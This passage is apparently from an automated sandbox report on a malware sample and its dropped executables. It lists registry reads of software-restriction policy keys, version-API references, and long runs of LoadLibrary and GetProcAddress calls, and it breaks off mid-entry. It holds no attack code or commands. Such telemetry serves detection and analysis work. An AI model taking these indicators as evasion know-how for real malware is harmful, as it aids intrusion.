"HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "dj4qK45.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "EL8Vj91.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "EL8Vj91.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Wg1zV34.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Wg1zV34.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "kH1Br77.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "kH1Br77.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1Of31Ad0.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "1Of31Ad0.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2vl5433.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2vl5433.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")31:T5c6,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; File: "7jw3kC52.exe.1096256590") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "1504858859,2916,3024,,RtlGetVersion,NTDLL.dll,"00:17:24.250",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")32:T2af8,"3b567ed788b8d07ec909035f6147abd3.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00000148) "RN3xu93.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005696) "RN3xu93.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005696) "RN3xu93.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005696) "RN3xu93.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005696) "RN3xu93.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005696) "RN3xu93.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00005696) "RN3xu93.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005696) "dj4qK45.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004444) "dj4qK45.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004444) "dj4qK45.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004444) "dj4qK45.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004444) "dj4qK45.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004444) "dj4qK45.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00004444) "dj4qK45.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00004444) "EL8Vj91.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002900) "EL8Vj91.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002900) "EL8Vj91.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002900) "EL8Vj91.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002900) "EL8Vj91.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002900) "EL8Vj91.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00002900) "EL8Vj91.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00002900) "Wg1zV34.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005896) "Wg1zV34.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005896) "Wg1zV34.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005896) "Wg1zV34.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005896) "Wg1zV34.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005896) "Wg1zV34.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00005896) "Wg1zV34.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005896) "kH1Br77.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007688) "kH1Br77.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007688) "kH1Br77.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007688) "kH1Br77.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007688) "kH1Br77.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007688) "kH1Br77.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00007688) "kH1Br77.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00007688) "1Of31Ad0.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005504) "1Of31Ad0.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005504) "1Of31Ad0.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005504) "1Of31Ad0.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005504) "1Of31Ad0.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00005504) "1Of31Ad0.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00005504) "1Of31Ad0.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00005504) "1Of31Ad0.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00005504) "1Of31Ad0.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00005504) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006544) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006544) "2vl5433.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006316) "2vl5433.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006316) "2vl5433.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006316) "2vl5433.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006316) "2vl5433.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00006316) "2vl5433.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00006316) "2vl5433.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006316) "2vl5433.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006316) "2vl5433.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00006316) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004116) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004116) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004116) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004116) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00004116) "AppLaunch.exe" called "LoadLibrary" with a parameter Wininet.dll (UID: 00000000-00004116) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00004116) "3YF75jT.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006300) "3YF75jT.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006300) "3YF75jT.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006300) "3YF75jT.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006300)33:Tf2d1,"3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00000148) "RN3xu93.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00005696) "RN3xu93.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005696) "dj4qK45.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00004444) "dj4qK45.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00004444) "dj4qK45.exe" 